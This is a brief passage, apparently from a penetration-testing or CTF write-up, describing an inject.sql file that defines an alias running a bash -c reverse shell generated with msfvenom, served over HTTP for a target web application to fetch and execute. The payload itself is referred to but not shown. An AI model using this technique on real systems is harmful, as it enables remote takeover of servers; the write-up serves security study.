msfvenom generated a reverse shell command

inject.sql


Following the payload in the PoC, I created a SQL file, inject.sql, with the content shown above It uses an alias(String[]) that uses the bash -c command to execute a simple reverse shell command that I generated with msfvenom

The payload will be served over HTTP for the target web application to fetch & execute
